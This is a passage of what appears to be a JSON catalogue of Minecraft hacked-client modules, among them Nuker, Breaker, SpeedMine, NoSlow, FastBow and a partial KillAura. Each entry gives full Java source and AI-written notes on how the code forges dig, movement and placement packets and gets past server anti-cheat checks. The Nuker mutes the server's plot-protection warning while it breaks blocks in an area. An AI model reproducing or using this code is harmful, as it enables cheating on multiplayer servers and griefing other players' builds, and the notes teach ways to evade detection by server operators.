4, 1, 7, 0.5);\n    private final NumberSetting tick = new NumberSetting(\"Tick\", this, 1, 1, 20, 1);\n    private final BooleanSetting instantOnly = new BooleanSetting(\"Instant Only\", this, false);\n    private final BooleanSetting scatter = new BooleanSetting(\"Scatter\", this, false);\n    private final BooleanSetting swing = new BooleanSetting(\"Swing\", this, true);\n\n    private final TimeUtil timer = new TimeUtil();\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        delay.hidden = !(mode.is(\"Teleport\") || mode.is(\"Area\"));\n\n        tick.hidden = !mode.is(\"Normal\");\n    }\n\n    @Override\n    public void onUpdate(final UpdateEvent event) {\n        final double radius = this.range.getValue() - 1;\n\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        if (mc.thePlayer.ticksExisted % tick.getValue() == 0 || !mode.is(\"Normal\")) {\n            switch (mode.getMode()) {\n                case \"Normal\": {\n                    nuke(radius, mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ);\n                    break;\n                }\n\n                case \"Teleport\": {\n                    if (mc.gameSettings.keyBindUseItem.isKeyDown() && timer.hasReached((long) delay.getValue())) {\n                        final boolean freecamEnabled = Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Freecam\")).isEnabled();\n\n                        final BlockPos pos = mc.thePlayer.rayTrace(999, 1).getBlockPos();\n\n                        if (mc.theWorld.getBlockState(pos).getBlock() instanceof BlockAir)\n                            return;\n\n                        new Thread(() -> {\n                            double x = mc.thePlayer.posX;\n                            double y = mc.thePlayer.posY;\n                            double z = mc.thePlayer.posZ;\n\n                            if (freecamEnabled) {\n                                x = Freecam.startX;\n                                y = Freecam.startY;\n                                z = Freecam.startZ;\n                            }\n\n                            final ArrayList<Vec3> path = MainPathFinder.computePath(new Vec3(x, y, z), new Vec3(pos.getX(), pos.getY(), pos.getZ()));\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                            nuke(radius, pos.getX(), pos.getY(), pos.getZ());\n                            Collections.reverse(path);\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                        }).start();\n\n                        timer.reset();\n                    }\n                    break;\n                }\n\n                case \"Area\": {\n                    final Vec3 pos1 = SetArea.pos1;\n                    final Vec3 pos2 = SetArea.pos2;\n\n                    if (pos1 == null || pos2 == null) {\n                        this.registerNotification(\"Set a position for Area Nuker by doing .setarea <1/2/reset> at the positions.\");\n                        this.toggleModule();\n                        return;\n                    }\n\n                    if (timer.hasReached((long) delay.getValue())) {\n                        final boolean freecamEnabled = Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Freecam\")).isEnabled();\n                        final double nukeX = randomPoint(pos1.getX(), pos2.getX());\n                        final double nukeY = randomPoint(pos1.getY(), pos2.getY());\n                        final double nukeZ = randomPoint(pos1.getZ(), pos2.getZ());\n\n                        new Thread(() -> {\n                            double x = mc.thePlayer.posX;\n                            double y = mc.thePlayer.posY;\n                            double z = mc.thePlayer.posZ;\n\n                            if (freecamEnabled) {\n                                x = Freecam.startX;\n                                y = Freecam.startY;\n                                z = Freecam.startZ;\n                            }\n\n                            final ArrayList<Vec3> path = MainPathFinder.computePath(new Vec3(x, y, z), new Vec3(nukeX, nukeY, nukeZ));\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                            nuke(radius, nukeX, nukeY, nukeZ);\n                            Collections.reverse(path);\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                        }).start();\n                    }\n                    break;\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S02PacketChat) {\n            final S02PacketChat packetChat = (S02PacketChat) p;\n            final String message = packetChat.getChatComponent().getUnformattedText();\n            if (!packetChat.isChat() && message.equals(\"You can't build outside the plot!\"))\n                event.setCancelled(true);\n        }\n    }\n\n    private void nuke(final double range, final double xPos, final double yPos, final double zPos) {\n        if (range == 0) {\n            final BlockPos blockPos = new BlockPos(xPos, yPos, zPos);\n            final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n\n            if (block instanceof BlockAir || (block.getBlockHardness() > 0 && instantOnly.isEnabled()))\n                return;\n\n            PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.UP));\n            PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.UP));\n\n            if (swing.isEnabled())\n                mc.thePlayer.swingItem();\n        } else {\n            for (double x = -range; x < range; x++) {\n                for (double y = range; y > -range; y--) {\n                    for (double z = -range; z < range; z++) {\n                        if (scatter.isEnabled() && !((mc.thePlayer.ticksExisted % 2 == 0 ? x : z) % 2 == 0))\n                            continue;\n\n                        final BlockPos blockPos = new BlockPos(xPos + x, yPos + y, zPos + z);\n                        final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n\n                        if (block instanceof BlockAir || (block.getBlockHardness() > 0 && instantOnly.isEnabled()))\n                            continue;\n\n                        PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.UP));\n                        PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.UP));\n\n                        if (swing.isEnabled())\n                            mc.thePlayer.swingItem();\n                    }\n                }\n            }\n        }\n    }\n\n    private double randomPoint(final double one, final double two) {\n        if (one == two)\n            return one;\n\n        final double delta = two - one;\n        final double offset = new Random().nextFloat() * delta;\n        return one + offset;\n    }\n}\n\n\n// NOTE (AI): The nuke() core sends START_DESTROY_BLOCK then immediately STOP_DESTROY_BLOCK for every non-air block in the radius cube, via sendPacketWithoutEvent so no other module sees the flood. The server processes the pair as a complete break: START calls ItemInWorldManager.func_180784_a (tryHarvestBlock) and STOP calls onPlayerDestroyBlock, so instant mining is achieved at the packet level with no client-side damage accumulation. Instant Only mode skips any block with hardness above 0, which limits the server-side tell. Teleport and Area modes pathfind to the target with C04 packets (also without event), nuke, and walk back, which keeps the C07 distance check (36.0 squared) satisfied. The S02 chat cancel hides the plot-protection message the server would otherwise send back.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Nuker.java",
      "vanilla_hook": "UpdateEvent for the dig loop; PacketReceiveEvent for the chat cancel.",
      "anti_cheat_notes": "Instant START+STOP on high-hardness blocks is the canonical nuker flag; the Tick throttle bounds blocks-per-tick and Instant Only bounds the tell. The Teleport mode trips movement checks if the C04 walk is not replayed, so the pathfinding round trip doubles as the anti-movement-check measure.",
      "variations": "Rise 6.1.30 and 6.2.4 ship the same module but send only START_DESTROY_BLOCK and rely on the client's own PlayerControllerMP loop to finish the dig, trading instant breaks for a subtler packet stream."
     },
     {
      "name": "Breaker",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Destroy specific blocks (cake, beds, wool, end stone) in a radius for bedwars-style play.",
      "how_it_works": "Memeware's Breaker, registered as BlockFucker, scans a 5-block cube every update and, when the block is cake or end stone, sends START then STOP with EnumFacing.NORTH via sendPacketSilent. The target list is a BlockSelectionSetting defaulting to cake, bed, wool and end stone; the pickaxeSlot, cakeBesideOrAt and cakeCovered helpers are dead code left in the file.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/misc/Breaker.java =====\n\npackage me.memewaredevs.client.module.misc;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.Memeware;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.option.BlockSelectionSetting;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.block.Block;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.ItemPickaxe;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.function.Consumer;\n\npublic class Breaker extends Module {\n    public Breaker() {\n        super(\"BlockFucker\", 0, Module.Category.MISC);\n        ArrayList<Block> defaultList = new ArrayList<>();\n        defaultList.add(Blocks.cake);\n        defaultList.add(Blocks.bed);\n        defaultList.add(Blocks.wool);\n        defaultList.add(Blocks.end_stone);\n        this.addBlockSelection(\"Target Blocks\", defaultList);\n        this.addBoolean(\"Cake Check\", true);\n    }\n\n    @Handler\n    public Consumer<UpdateEvent> onEvent = (event) -> {\n        final int radius = 5;\n        BlockSelectionSetting setting = (BlockSelectionSetting) Memeware.INSTANCE.getSettingsManager().getSettingByMod(this.getClass(), \"Target Blocks\");\n        for (int x = -radius; x < radius; ++x) {\n            for (int y2 = radius; y2 > -radius; --y2) {\n                for (int z = -radius; z < radius; ++z) {\n                    final int xPos = (int) this.mc.thePlayer.posX + x;\n                    final int yPos = (int) this.mc.thePlayer.posY + y2;\n                    final int zPos = (int) this.mc.thePlayer.posZ + z;\n                    final BlockPos blockPos = new BlockPos(xPos, yPos, zPos);\n                    final Block block = this.mc.theWorld.getBlockState(blockPos).getBlock();\n                    if (block == Blocks.cake || block == Blocks.end_stone) {\n                        PacketUtil.sendPacketSilent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n                        PacketUtil.sendPacketSilent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n                    }\n                }\n            }\n        }\n    };\n\n    private void breakBlock(BlockPos blockPos) {\n        PacketUtil.sendPacketSilent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n        PacketUtil.sendPacketSilent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n    }\n\n    private int pickaxeSlot() {\n        for (int j = 0; j < 8; ++j) {\n            ItemStack stack = mc.thePlayer.inventory.mainInventory[j];\n            if (stack != null && stack.getItem() instanceof ItemPickaxe) {\n                return j;\n            }\n        }\n        return -10;\n    }\n\n    private boolean cakeBesideOrAt(BlockPos blockPos) {\n        for (EnumFacing face : new EnumFacing[] {EnumFacing.NORTH, EnumFacing.SOUTH, EnumFacing.WEST, EnumFacing.EAST, EnumFacing.DOWN}) {\n            if (mc.theWorld.getBlockState(blockPos.offset(face)).getBlock() == Blocks.cake) {\n                return true;\n            }\n        }\n        return mc.theWorld.getBlockState(blockPos).getBlock() == Blocks.cake;\n    }\n\n    private boolean cakeCovered(BlockPos blockPos) {\n        for (EnumFacing face : new EnumFacing[] {EnumFacing.NORTH, EnumFacing.SOUTH, EnumFacing.WEST, EnumFacing.EAST, EnumFacing.UP}) {\n            if (mc.theWorld.getBlockState(blockPos.offset(face)).getBlock() == Blocks.air) {\n                return false;\n            }\n        }\n        return true;\n    }\n}\n\n\n// NOTE (AI): Registered as BlockFucker. The UpdateEvent handler scans a 5-block cube around the player and, when the block is cake or end stone, sends START then STOP with EnumFacing.NORTH via sendPacketSilent (the bus-bypassing path). The pickaxeSlot, cakeBesideOrAt and cakeCovered helpers are dead code; the actual target list comes from the BlockSelectionSetting populated with cake, bed, wool and end stone defaults. This is the bedwars-style block destroyer: it only ever touches C07 and never sends C08 placements or C0A swings, so the only server-side evidence is the instant-break packet pair.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/misc/Breaker.java",
      "vanilla_hook": "UpdateEvent.",
      "anti_cheat_notes": "Same instant-break surface as Nuker; on bedwars servers the flag is per-block-count rather than hardness, since cake and beds are already low-hardness. The silent send path keeps the pairs off the event bus so no other module reacts.",
      "variations": "Rise 5.99's Breaker sends START+STOP with EnumFacing.UP and more target configuration. Rise 6.x carries three generations: Breaker and NewBreaker (START+STOP, EnumFacing.UP) and NewNewBreaker (EnumFacing.DOWN, with block-state tracking before the dig)."
     },
     {
      "name": "SpeedMine",
      "found_in": [
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Mine faster by running the block-breaking math client-side and finishing the dig with a single STOP packet.",
      "how_it_works": "On PacketSendEvent it arms on START_DESTROY_BLOCK, records position and facing, and disarms on ABORT or STOP. While armed, every pre-motion tick accumulates damage += playerRelativeBlockHardness * speed; when damage reaches 1 it swaps the block to air client-side and sends STOP_DESTROY_BLOCK via sendPacketNoEvent. blockHitDelay is zeroed so the next block starts immediately.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/event/impl/player/SpeedMine.java =====\npackage dev.tenacity.event.impl.player;\n\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.network.PacketSendEvent;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.setting.impl.NumberSetting;\nimport dev.tenacity.util.network.PacketUtils;\nimport net.minecraft.block.state.IBlockState;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic class SpeedMine extends Module {\n\n    private final NumberSetting speed = new NumberSetting(\"Speed\", 1.5, 1, 3, 0.1);\n    private EnumFacing facing;\n    private BlockPos pos;\n    private boolean boost;\n    private float damage;\n\n    public SpeedMine() {\n        super(\"SpeedMine\", \"mines blocks faster\", ModuleCategory.PLAYER);\n       initializeSettings(speed);\n    }\n\n    private final IEventListener<MotionEvent> onMotion = e -> {\n        if (e.isPre()) {\n            mc.playerController.blockHitDelay = 0;\n            if (pos != null && boost) {\n                IBlockState blockState = mc.theWorld.getBlockState(pos);\n                if (blockState == null) return;\n\n                try {\n                    damage += (float) (blockState.getBlock().getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) * speed.getCurrentValue());\n                } catch (Exception ex) {\n                    ex.printStackTrace();\n                    return;\n                }\n\n                if (damage >= 1) {\n                    try {\n                        mc.theWorld.setBlockState(pos, Blocks.air.getDefaultState(), 11);\n                    } catch (Exception ex) {\n                        ex.printStackTrace();\n                        return;\n                    }\n                    PacketUtils.sendPacketNoEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, pos, facing));\n                    damage = 0;\n                    boost = false;\n                }\n            }\n        }\n    };\n\n    private final IEventListener<PacketSendEvent> onPacketSend = e -> {\n        if (e.getPacket() instanceof C07PacketPlayerDigging) {\n            C07PacketPlayerDigging packet = (C07PacketPlayerDigging) e.getPacket();\n            if (packet.getStatus() == C07PacketPlayerDigging.Action.START_DESTROY_BLOCK) {\n                boost = true;\n                pos = packet.getPosition();\n                facing = packet.getFacing();\n                damage = 0;\n            } else if (packet.getStatus() == C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK | packet.getStatus() == C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK) {\n                boost = false;\n                pos = null;\n                facing = null;\n            }\n        }\n    };\n\n}\n\n\n// NOTE (AI): SpeedMine sits in the event package but is a real Module. It does not fake the dig time; it runs the block-breaking math client-side. On PacketSendEvent it arms on START_DESTROY_BLOCK, records pos and facing, and disarms on ABORT or STOP. While armed, every pre-motion tick accumulates damage += playerRelativeBlockHardness * speed, and when damage reaches 1 it swaps the block to air client-side (setBlockState) and sends STOP_DESTROY_BLOCK without event. The server receives a legitimately-timed STOP and processes the break normally; the client-side air swap is what makes the block vanish instantly for the local player, and the server's own damage counter never has to reach the threshold. blockHitDelay=0 removes the vanilla post-hit delay that would otherwise slow the next block.\n",
      "code_source": "Tenacity 6.0, dev/tenacity/event/impl/player/SpeedMine.java",
      "vanilla_hook": "PacketSendEvent for the dig state machine; MotionEvent pre for damage accumulation.",
      "anti_cheat_notes": "The server receives a legitimately timed STOP, so dig-speed checks that measure the START-to-STOP gap see a plausible duration; the client-side air swap is invisible to the server, which only ever sees the completed break. Anti-cheats that simulate hardness independently still flag the effective speed multiplier.",
      "variations": "LiquidSense Dev ships its own SpeedMine (me/AquaVit/liquidSense/modules/world/SpeedMine.java) with the same client-side damage accumulation: it arms on START_DESTROY_BLOCK, adds block hardness times 1.4 per update, swaps the block to air client-side and sends STOP_DESTROY_BLOCK through the network manager when damage reaches 1.0, and zeroes blockHitDelay when extended reach is active. The 1.4 multiplier is the AquaVit speed factor."
     },
     {
      "name": "NoSlowdown / NoSlow",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy"
      ],
      "purpose": "Cancel the movement slow applied while eating or blocking by releasing the use-item state and immediately re-placing.",
      "how_it_works": "Spicy's NoSlow, on pre update while blocking with a sword, moving, on ground within 0.42 and with no killaura target, sends RELEASE_USE_ITEM with a BlockPos built from RandomUtils.nextDouble(4.9E-324D, 1.7976931348623157E308D) on every axis, then on post sends C08PacketPlayerBlockPlacement at (-1,-1,-1) with the held item to re-enter the block state. The server reads only the status of the release, so the random position is harmless to vanilla but defeats position-comparing heuristics.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/movement/NoSlow.java =====\npackage info.spicyclient.modules.movement;\n\nimport org.apache.commons.lang3.RandomUtils;\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.modules.combat.Killaura;\nimport info.spicyclient.util.MovementUtils;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging.Action;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic class NoSlow extends Module {\n\n\tpublic NoSlow() {\n\t\tsuper(\"NoSlow\", Keyboard.KEY_NONE, Category.MOVEMENT);\n\t}\n\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\t\n\t        if (mc.thePlayer.isBlocking() && MovementUtils.isMoving() && MovementUtils.isOnGround(0.42D) && SpicyClient.config.killaura.target == null) {\n\t            if (e.isPre()) {\n\t                mc.getNetHandler().getNetworkManager().sendPacket(new C07PacketPlayerDigging(Action.RELEASE_USE_ITEM, new BlockPos(RandomUtils.nextDouble(4.9E-324D, 1.7976931348623157E308D), RandomUtils.nextDouble(4.9E-324D, 1.7976931348623157E308D), RandomUtils.nextDouble(4.9E-324D, 1.7976931348623157E308D)), EnumFacing.DOWN));\n\t            } else {\n\t                mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(-1, -1, -1), 255, mc.thePlayer.getHeldItem(), 0.0F, 0.0F, 0.0F));\n\t            }\n\t        }\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n\n\n// NOTE (AI): The NoSlow bypass in 50 lines. On pre update, while blocking with a sword, moving, on ground within 0.42, and with no active killaura target, it sends RELEASE_USE_ITEM with a BlockPos built from RandomUtils.nextDouble(4.9E-324D, 1.7976931348623157E308D) for every axis, then on post sends the C08 re-place at (-1,-1,-1) with the held item. The server only reads the status field of RELEASE_USE_ITEM, so the random position is ignored by vanilla, but it defeats anti-cheats that compare the C07 position against the player's location as a heuristic. The release+re-place pair cancels the eating/blocking slow without ever dropping the block state.\n",
      "code_source": "Spicy, info/spicyclient/modules/movement/NoSlow.java",
      "vanilla_hook": "EventUpdate pre (release) and post (re-place).",
      "anti_cheat_notes": "The release+re-place pair is the detectable pattern: anti-cheats measure the gap between the C07 release and the C08 place, and some compare the C07 position to the player's location, which the random BlockPos defeats. LegitNoSlow in Rise 6.x deliberately mirrors vanilla timing to minimize the gap signature.",
      "variations": "Memeware's NoSlow is the same release-plus-place pattern. Rise 5.99's NoSlow sends RELEASE_USE_ITEM pairs from its packet handler. Rise 6.x splits LegitNoSlow (watches C07 releases and replays the C08), NCPNoSlow and IntaveNoSlow. Sigma's NoSlowdown sends RELEASE_USE_ITEM on a timer."
     },
     {
      "name": "FastBow",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Sigma 4.11"
      ],
      "purpose": "Fire fully charged arrows without holding the draw, by releasing the use-item state early and faking the charge.",
      "how_it_works": "While the use key is held with a bow, reset the item damage to -1, call sendUseItem to enter the use state, then send 20 C06PacketPlayerPosLook packets aimed at the target with onGround true so the server registers continuous rotation during the charge. Fire RELEASE_USE_ITEM, then call onPlayerStoppedUsing directly with a charge tick of 10, which fixes the arrow power as a 10-tick draw regardless of real draw time. A trailing bare C03 keeps the movement stream alive.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/FastBow.java =====\n\npackage me.memewaredevs.client.module.combat;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.combat.RotationUtils;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.item.ItemBow;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.function.Consumer;\nimport java.util.stream.Collectors;\n\npublic class FastBow extends Module {\n\n    public FastBow() {\n        super(\"Fast Bow\", 0, Module.Category.COMBAT);\n    }\n\n    @Handler\n    public Consumer<UpdateEvent> update = event -> {\n        if (event.isPre()) {\n            this.getTarg().forEach(target -> {\n                if (doCheck()) {\n                    mc.thePlayer.inventory.getCurrentItem().setItemDamage(-1);\n                    duraHack(9, this.mc.thePlayer.inventory.currentItem);\n                    mc.playerController.sendUseItem(mc.thePlayer,\n                            mc.theWorld,\n                            mc.thePlayer.inventory.getCurrentItem());\n                    mc.thePlayer.inventory.getCurrentItem().getItem().onItemRightClick(\n                            mc.thePlayer.inventory.getCurrentItem(),\n                            mc.theWorld, mc.thePlayer);\n                    final float[] rotations = RotationUtils.getBowAngles(target);\n                    for (int i2 = 0; i2 < 20; ++i2) {\n                        this.mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(\n                                this.mc.thePlayer.posX, this.mc.thePlayer.posY, this.mc.thePlayer.posZ, rotations[0],\n                                rotations[1], true));\n                    }\n                    ;\n                    duraHack(9, this.mc.thePlayer.inventory.currentItem);\n                    mc.getNetHandler().addToSendQueue(new C07PacketPlayerDigging(\n                            C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.UP));\n                    mc.thePlayer.inventory.getCurrentItem().getItem().onPlayerStoppedUsing(\n                            mc.thePlayer.inventory.getCurrentItem(),\n                            mc.theWorld, mc.thePlayer, 10);\n                    PacketUtil.sendPacket(new C03PacketPlayer());\n                }\n            });\n        }\n    };\n\n    @Override\n    public void onEnable() {\n    }\n\n    private boolean doCheck() {\n        boolean b = mc.thePlayer.getHealth() <= 0.0f\n                || !mc.thePlayer.isCollidedVertically\n                && !mc.thePlayer.capabilities.isCreativeMode\n                || mc.thePlayer.inventory.getCurrentItem() == null\n                || !(mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemBow)\n                || !mc.gameSettings.keyBindUseItem.getIsKeyPressed();\n        return !b;\n    }\n\n    @SuppressWarnings(\"unused\")\n    private void duraHack(int slot, int hotbarNum) {\n        for (int unused : new int[2]) {\n            mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, hotbarNum, 2, mc.thePlayer);\n        }\n    }\n\n    @Override\n    public void onDisable() {\n\n\n    }\n\n    private List<EntityLivingBase> getTarg() {\n        return mc.theWorld.playerEntities.stream()\n                .filter(ent -> mc.thePlayer.canEntityBeSeen(ent) && mc.thePlayer.getDistanceToEntity(ent) <= 25\n                        && mc.thePlayer != ent)\n                .limit(10).collect(Collectors.toCollection(ArrayList::new));\n    }\n}\n\n\n// NOTE (AI): The bow-charge exploit. While the use key is held with a bow, it resets the item damage to -1, calls sendUseItem to enter the use state, then spams 20 C06PacketPlayerPosLook packets aimed at the target (onGround true) so the server registers continuous rotation updates during the charge. It then fires RELEASE_USE_ITEM and calls onPlayerStoppedUsing directly with a charge tick of 10, which is what sets the arrow power: the client computes the shot as a 10-tick draw even though the player clicked a moment earlier. The duraHack windowClick double-swap is a separate durability-fix exploit. The trailing bare C03PacketPlayer() keeps the movement stream alive after the release.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/FastBow.java",
      "vanilla_hook": "UpdateEvent pre; the release goes through addToSendQueue, the item callback is invoked directly.",
      "anti_cheat_notes": "Charge-time checks measure the gap between the C08 use and the C07 release; a sub-tick gap with a full-power arrow is the tell. The 20 look packets also fake an aiming window for rotation checks. The duraHack windowClick double-swap is a separate durability exploit and a visible inventory-packet pattern.",
      "variations": "Rise 5.99's FastBow sends C04 y-0.5 and C06 look packets before the release. Sigma's FastBow sends C04 offset pairs plus RELEASE_USE_ITEM through addToSendQueue."
     },
     {
      "name": "KillAuraModule (autoblock release)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Emit C07 RELEASE_USE_ITEM around attacks for autoblock, and filter outgoing releases in the VANILLA and WATCHDOG autoblock modes.",
      "how_it_works": "In BASIC autoblock, before the attack the module queues C08 place, and after the swing queues C07 RELEASE_USE_ITEM at BlockPos.ORIGIN with EnumFacing.DOWN to end the block; unblock() repeats the same release when the target dies or the sword is swapped. The EventPacket.Out listener cancels outgoing RELEASE_USE_ITEM dig packets under VANILLA and WATCHDOG autoblock (the block state is managed by the C08 hold instead) and resets the blocking flag otherwise. HOLD mode presses the inventory key instead of sending dig packets.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/KillAuraModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport static lol.november.listener.bus.DefaultEventPriority.HIGH;\n\nimport java.util.Comparator;\nimport java.util.function.Function;\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.Stage;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.move.EventWalkingUpdate;\nimport lol.november.listener.event.render.EventRenderItemUse;\nimport lol.november.utility.math.MathUtils;\nimport lol.november.utility.math.RotationUtils;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.item.EntityArmorStand;\nimport net.minecraft.item.EnumAction;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"KillAura\",\n  description = \"Attacks entities around you\",\n  category = Category.COMBAT\n)\npublic class KillAuraModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.SINGLE);\n  private final Setting<Sort> sort = new Setting<>(\"Sort\", Sort.DISTANCE);\n\n  private final Setting<Click> clicking = new Setting<>(\n    \"Clicking\",\n    Click.BASIC\n  );\n  private final Setting<Integer> minCps = new Setting<>(\n    () -> clicking.getValue() != Click.UPDATED,\n    \"Min CPS\",\n    12,\n    1,\n    0,\n    20\n  );\n  private final Setting<Integer> maxCps = new Setting<>(\n    () -> clicking.getValue() != Click.UPDATED,\n    \"Max CPS\",\n    16,\n    1,\n    0,\n    20\n  );\n\n  private final Setting<Double> range = new Setting<>(\n    \"Range\",\n    4.0,\n    0.01,\n    1.0,\n    6.0\n  );\n  private final Setting<Double> wallRange = new Setting<>(\n    \"Wall Range\",\n    3.0,\n    0.01,\n    1.0,\n    6.0\n  );\n\n  private final Setting<AutoBlock> autoBlock = new Setting<>(\n    \"Auto Block\",\n    AutoBlock.VANILLA\n  );\n\n  private final Setting<Boolean> rotate = new Setting<>(\"Rotate\", true);\n\n  private final Setting<Boolean> keepSprint = new Setting<>(\n    \"Keep Sprint\",\n    false\n  );\n\n  private final Timer timer = new Timer();\n  private EntityLivingBase attackTarget;\n  private float[] rotations;\n  private boolean blocking;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    